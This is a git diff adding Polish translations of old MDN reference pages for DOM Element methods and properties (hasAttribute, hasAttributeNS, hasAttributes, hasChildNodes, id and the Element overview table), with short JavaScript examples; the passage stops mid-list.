+translation_of: Web/API/Element/hasAttribute
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>hasAttribute</code> zwraca wartość logiczną oznaczającą, czy element posiada określony atrybut czy nie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>wynik</i> = element.hasAttribute(<i>nazwaAtrybutu</i>)
+</pre>
+<ul>
+ <li><code>wynik</code> to rezultat sprawdzenia - <code>true</code> lub <code>false</code></li>
+ <li><code>nazwaAtrybutu</code> jest ciągiem znaków określającym nazwę atrybutu</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// przed ustawieniem wartości sprawdź, czy atrybut istnieje
+d = document.getElementById("div1");
+if(d.hasAttribute("align")){
+ d.setAttribute("align", "center");
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElHasAttr">DOM Level 2 Core: hasAttribute</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.hasAttribute", "fr": "fr/DOM/element.hasAttribute", "ja": "ja/DOM/element.hasAttribute" } ) }}</p>
diff --git a/files/pl/web/api/element/hasattributens/index.html b/files/pl/web/api/element/hasattributens/index.html
new file mode 100644
index 0000000000..13cc715dac
--- /dev/null
+++ b/files/pl/web/api/element/hasattributens/index.html
@@ -0,0 +1,39 @@
+---
+title: element.hasAttributeNS
+slug: Web/API/Element/hasAttributeNS
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/hasAttributeNS
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>hasAttributeNS</code> zwraca wartość logiczną oznaczającą, czy bieżący element ma określony atrybut.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>wynik</i> =<i>element</i>.hasAttributeNS(<i>przestrzeńNazw</i>,<i>nazwaLokalna</i>)
+</pre>
+<ul>
+ <li><code>wynik</code> to wartość logiczna - <code>true</code> lub <code>false</code>.</li>
+ <li><code>przestrzeńNazw</code> to ciąg znaków określający przestrzeń nazw atrybutu.</li>
+ <li><code>nazwaLokalna</code> to nazwa atrybutu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// sprawdza czy jest taki atrybut
+// przed nadaniem mu wartości
+var d = document.getElementById("div1");
+if (d.hasAttributeNS(
+ "http://www.mozilla.org/ns/specialspace/",
+ "special-align")) {
+ d.setAttribute("align", "center");
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElHasAttrNS">DOM Level 2 Core: hasAttributeNS</a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.hasAttributeNS", "fr": "fr/DOM/element.hasAttributeNS", "ja": "ja/DOM/element.hasAttributeNS" } ) }}</p>
diff --git a/files/pl/web/api/element/hasattributes/index.html b/files/pl/web/api/element/hasattributes/index.html
new file mode 100644
index 0000000000..2e1c7aea73
--- /dev/null
+++ b/files/pl/web/api/element/hasattributes/index.html
@@ -0,0 +1,28 @@
+---
+title: element.hasAttributes
+slug: Web/API/Element/hasAttributes
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/hasAttributes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>hasAttributes</b> zwraca wartość logiczną zależnie od tego, czy element posiada jakiekolwiek atrybuty.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">[ true | false ] = element.hasAttributes
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>t1 = document.getElementById("table-data");
+if ( t1.hasAttributes ) {
+ // zrób coś z
+ // t1.attributes
+}
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeHasAttrs">hasAttributes</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.hasAttributes", "fr": "fr/DOM/element.hasAttributes", "it": "it/DOM/element.hasAttributes" } ) }}</p>
diff --git a/files/pl/web/api/element/haschildnodes/index.html b/files/pl/web/api/element/haschildnodes/index.html
new file mode 100644
index 0000000000..e21f22dedf
--- /dev/null
+++ b/files/pl/web/api/element/haschildnodes/index.html
@@ -0,0 +1,28 @@
+---
+title: element.hasChildNodes
+slug: Web/API/Element/hasChildNodes
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/hasChildNodes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>hasChildNodes</b> zwraca wartość logiczną określającą, czy element posiada dzieci czy nie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">[ true | false ] = element.hasChildNodes()
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>t1 = document.getElementById("table-data");
+if ( t1.hasChildNodes() ) {
+ // tabela ma dzieci }
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zauważ, że składnia <code>element.hasChildNodes</code> - bez nawiasów <code>()</code> - jest nieprawidłowa. Takie użycie zawsze zwraca <code>true</code>, oznaczające, że metoda o tej nazwie jest dostępna w obiekcie. Nie daj się nabrać.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-810594187">hasChildNodes </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.hasChildNodes", "fr": "fr/DOM/element.hasChildNodes", "ja": "ja/DOM/element.hasChildNodes" } ) }}</p>
diff --git a/files/pl/web/api/element/id/index.html b/files/pl/web/api/element/id/index.html
new file mode 100644
index 0000000000..53ba49d3b0
--- /dev/null
+++ b/files/pl/web/api/element/id/index.html
@@ -0,0 +1,38 @@
+---
+title: element.id
+slug: Web/API/Element/id
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/id
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność <b>id</b> jednoznacznie identyfikuje bieżący element.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval"><i>id_str</i> = element.id
+element.id =<i>id_str</i>
+</pre>
+<ul>
+ <li><code>id_str</code> to ciąg znaków reprezentujący <code>id</code> bieżącego elementu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>if (element.id != "main_loop")
+ goBack();
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Nie ma ważniejszej własności w dziedzinie konstruowania stron niż
+ <i>
+ id</i>
+ . ID elementu jest tym, czego najczęściej używa się by go wydobyć (np. za pomocą <b><a href="pl/DOM/document.getElementById">getElementById</a></b>) i pozwala ono manipulować węzłami niezależnie od innych węzłów. W HTML-u i w XUL-u <b>id</b> definiowane jest jako atrybut tak:</p>
+<pre class="eval">&lt;td id="table-cell2" /&gt;
+</pre>
+<p>Jeśli zamierzasz używać DOM na swoich stronach dobrze jest przypisać tyle atrybutów <b>id</b> ile tylko będzie potrzebne. Zauważ też, że
+ <i>
+ id</i>
+ używa się również by powiązać reguły stylów CSS z poszczególnymi elementami.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-63534901">id </a></p>
+<p>{{ languages( { "en": "en/DOM/element.id", "fr": "fr/DOM/element.id", "ja": "ja/DOM/element.id", "zh-cn": "cn/DOM/element.id" } ) }}</p>
diff --git a/files/pl/web/api/element/index.html b/files/pl/web/api/element/index.html
new file mode 100644
index 0000000000..5a7c6be166
--- /dev/null
+++ b/files/pl/web/api/element/index.html
@@ -0,0 +1,677 @@
+---
+title: Element
+slug: Web/API/Element
+tags:
+ - DOM
+ - Gecko
+translation_of: Web/API/Element
+---
+<p>{{ ApiRef}}</p>
+
+<p>Ten rozdział dostarcza zwięzłych informacji dla wszystkich metod, własności i zdarzeń dostępnych dla większości elementów HTML i XML w Gecko DOM.</p>
+
+<p>Różne specyfikacje W3C mają zastosowanie do elementów:</p>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/">DOM Core Specification</a>—opisuje główne interfejsy współdzielone przez większość obiektów DOM w dokumentach HTML i XML</li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/">DOM HTML Specification</a>—opisuje interfejsy dla obiektów w dokumentach HTML i XHTML tworzonych na głównej specyfikacji</li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/">DOM Events Specification</a>—opisuje zdarzenia współdzielone przez większość obiektów DOM, tworzone na głównej specyfikacji DOM i specyfikacji <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/">Views</a></li>
+</ul>
+
+<p>Niniejsze interfejsy DOM łączą różne specyfikacje, jednak staramy się skoncentrować na rekomendacji DOM Level 2 HTML. Każda podstrona zawiera odnośnik do odpowiedniego fragmentu specyfikacji W3C DOM.</p>
+
+<p>W tym miejscu "elementy" oznaczają ten interfejs, jaki mają wszystkie elementy HTML i XML. Istnieją również bardziej specjalizowane interfejsy dla poszczególnych elementów - np. <code>BODY</code> posiada dodatkowe funkcje i własności, podobnie tabele. W tym rozdziale omówiony jest tylko ten interfejs, jak współdzielą wszystkie elementy.</p>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Nazwa</th>
+ <th>Opis</th>
+ <th>Typ</th>
+ <th>Dostępność</th>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.attributes" title="pl/DOM/element.attributes">attributes</a></code></td>
+ <td>Zwraca tablicę atrybutów elementu.</td>
+ <td><code><a href="/pl/DOM/NamedNodeMap" title="pl/DOM/NamedNodeMap">NamedNodeMap</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.childNodes" title="pl/DOM/element.childNodes">childNodes</a></code></td>
+ <td>Zwraca tablicę węzłów potomnych elementu.</td>
+ <td><code><a href="/pl/DOM/NodeList" title="pl/DOM/NodeList">NodeList</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.className" title="pl/DOM/element.className">className</a></code></td>
+ <td>Pobiera/ustawia klasę elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XUL" title="pl/XUL">XUL</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.clientHeight" title="pl/DOM/element.clientHeight">clientHeight</a></code></td>
+ <td>Zwraca wewnętrzną wysokość elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.clientWidth" title="pl/DOM/element.clientWidth">clientWidth</a></code></td>
+ <td>Zwraca wewnętrzną szerokość elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.dir" title="pl/DOM/element.dir">dir</a></code></td>
+ <td>Ustawia lub pobiera kierunek elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XUL" title="pl/XUL">XUL</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.firstChild" title="pl/DOM/element.firstChild">firstChild</a></code></td>
+ <td>Zwraca pierwsze dziecko bieżącego węzła lub <code>null</code>, jeśli ten element nie posiada węzła potomnego.</td>
+ <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.id" title="pl/DOM/element.id">id</a></code></td>
+ <td>Pobiera/ustawia id elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XUL" title="pl/XUL">XUL</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.innerHTML" title="pl/DOM/element.innerHTML">innerHTML</a></code></td>
+ <td>Pobiera/ustawia znacznik zawartości elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.lang" title="pl/DOM/element.lang">lang</a></code></td>
+ <td>Określa język bazowy dla wartość atrybutów i tekstowej zawartości elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.lastChild" title="pl/DOM/element.lastChild">lastChild</a></code></td>
+ <td>Zwraca ostatnie dziecko bieżącego węzła elementu lub <code>null</code> jeśli ten element nie posiada węzłów potomnych.</td>
+ <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.localName" title="pl/DOM/element.localName">localName</a></code></td>
+ <td>Zwraca lokalną część uściślonej nazwy węzła.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <th>Nazwa</th>
+ <th>Opis</th>
+ <th>Typ</th>
+ <th>Dostępność</th>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.name" title="pl/DOM/element.name">name</a></code></td>
+ <td>Pobiera lub ustawia atrybut <code>name</code> - dostępne nie dla wszystkich elementów.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.namespaceURI" title="pl/DOM/element.namespaceURI">namespaceURI</a></code></td>
+ <td>URI przestrzeni nazw węzła lub <code>null</code>, jeśli jest bliżej nieokreślony.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.nextSibling" title="pl/DOM/element.nextSibling">nextSibling</a></code></td>
+ <td>Węzeł bezpośrednio następny w drzewie dokumentu lub <code>null</code> jeżeli takiego nie ma.</td>
+ <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.nodeName" title="pl/DOM/element.nodeName">nodeName</a></code></td>
+ <td>Nazwa węzła.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.nodeType" title="pl/DOM/element.nodeType">nodeType</a></code></td>
+ <td>Cyfra reprezentująca typ węzła. <code>1</code> oznacza element DOM.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.nodeValue" title="pl/DOM/element.nodeValue">nodeValue</a></code></td>
+ <td>Wartość węzła atrybutu, zawartość węzła tekstowego lub <code>null</code> dla elementu DOM.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.offsetHeight" title="pl/DOM/element.offsetHeight">offsetHeight</a></code></td>
+ <td>Wysokość elementu, odnosząca się do układu strony.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.offsetLeft" title="pl/DOM/element.offsetLeft">offsetLeft</a></code></td>
+ <td>Odległość pomiędzy lewą krawędzią elementu, a jego <code>offsetParent</code> lewej krawędzi.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.offsetParent" title="pl/DOM/element.offsetParent">offsetParent</a></code></td>
+ <td>Element, od którego obliczane są wszystkie przesunięcia.</td>
+ <td><code><a href="/pl/DOM/element" title="pl/DOM/element">Element</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.offsetTop" title="pl/DOM/element.offsetTop">offsetTop</a></code></td>
+ <td>Odległość pomiędzy górną krawędzią elementu, a jego <code>offsetParent</code> górnej krawędzi.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.offsetWidth" title="pl/DOM/element.offsetWidth">offsetWidth</a></code></td>
+ <td>Szerokość elementu, odnosząca się do układu strony.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.ownerDocument" title="pl/DOM/element.ownerDocument">ownerDocument</a></code></td>
+ <td>Dokument, którego węzeł jest w lub <code>null</code> jeśli węzeł nie znajduje się wewnątrz.</td>
+ <td><code><a href="/pl/DOM/document" title="pl/DOM/document">Document</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <th>Nazwa</th>
+ <th>Opis</th>
+ <th>Typ</th>
+ <th>Dostępność</th>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.parentNode" title="pl/DOM/element.parentNode">parentNode</a></code></td>
+ <td>Element nadrzędny bieżącego węzła lub <code>null</code> jeżeli węzeł nie znajduje się wewnątrz dokumentu DOM.</td>
+ <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.prefix" title="pl/DOM/element.prefix">prefix</a></code></td>
+ <td>Prefiks przestrzeni nazw węzła lub <code>null</code> jeżeli nie określono prefiksa.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.previousSibling" title="pl/DOM/element.previousSibling">previousSibling</a></code></td>
+ <td>Węzeł bezpośrednio poprzedni w drzewie dokumentu lub <code>null</code> jeżeli takiego nie ma.</td>
+ <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.scrollHeight" title="pl/DOM/element.scrollHeight">scrollHeight</a></code></td>
+ <td>The scroll view height of an element.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.scrollLeft" title="pl/DOM/element.scrollLeft">scrollLeft</a></code></td>
+ <td>Pobiera/Ustawia liczbę pikseli, o którą zostanie przewinięta zawartość dokumentu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.scrollTop" title="pl/DOM/element.scrollTop">scrollTop</a></code></td>
+ <td>Pobiera/Ustawia liczbę pikseli, o którą ma zostać przewinięta w górę zawartość elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.scrollWidth" title="pl/DOM/element.scrollWidth">scrollWidth</a></code></td>
+ <td>Zwraca szerokość zawartości elementu w pikselach lub szerokość samego elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.style" title="pl/DOM/element.style">style</a></code></td>
+ <td>Obiekt reprezentujący deklaracje stylów elementu.</td>
+ <td><code><a href="/pl/DOM/CSSStyleDeclaration" title="pl/DOM/CSSStyleDeclaration">CSSStyle</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XUL" title="pl/XUL">XUL</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.tabIndex" title="pl/DOM/element.tabIndex">tabIndex</a></code></td>
+ <td>Pobiera lub ustawia pozycję elementu w kolejności przechodzenia tabulatorem.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td>
+ <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.tagName" title="pl/DOM/element.tagName">tagName</a></code></td>
+ <td>Nazwa znacznika HTML danego elementu.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ <tr>
+ <td><code><a href="/pl/DOM/element.textContent" title="pl/DOM/element.textContent">textContent</a></code></td>
+ <td>Pobiera bądź ustawia tekstową treść elementu i jego potomków.</td>
+ <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td>
+ <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<dl>
+ <dt><a href="/pl/DOM/element.attributes" title="pl/DOM/element.attributes">attributes</a></dt>
+ <dd>Zwraca tablicę atrybutów elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.childNodes" title="pl/DOM/element.childNodes">childNodes</a></dt>
+ <dd>Zwraca tablicę węzłów potomnych elementu</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.className" title="pl/DOM/element.className">className</a></dt>
+ <dd>Pobiera/ustawia klasę elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.clientHeight" title="pl/DOM/element.clientHeight">clientHeight</a></dt>
+ <dd>Własność DHTML-a, reprezentuje wewnętrzną wysokość elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.clientLeft" title="pl/DOM/element.clientLeft">clientLeft</a></dt>
+ <dd>Długość od lewego obramowania elementu wyrażona w pikselach. <em>Aktualnie nie obsługiwana.</em></dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.clientTop" title="pl/DOM/element.clientTop">clientTop</a></dt>
+ <dd>Długość od górnego obramowania elementu wyrażona w pikselach. <em>Aktualnie nie obsługiwana.</em></dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.clientWidth" title="pl/DOM/element.clientWidth">clientWidth</a></dt>
+ <dd>Własność DHTML-a, reprezentuje wewnętrzną szerokość elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.dir" title="pl/DOM/element.dir">dir</a></dt>
+ <dd>Pobiera/ustawia kierunkowość (ang. <em>directionality</em>) elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.firstChild" title="pl/DOM/element.firstChild">firstChild</a></dt>
+ <dd>Zwraca pierwsze dziecko bieżącego węzła.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.id" title="pl/DOM/element.id">id</a></dt>
+ <dd>Pobiera/ustawia id elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.innerHTML" title="pl/DOM/element.innerHTML">innerHTML</a></dt>
+ <dd>innerHTML zwraca całą zawartość elementu wraz ze znacznikami.</dd>
+</dl>
+
+<dl>
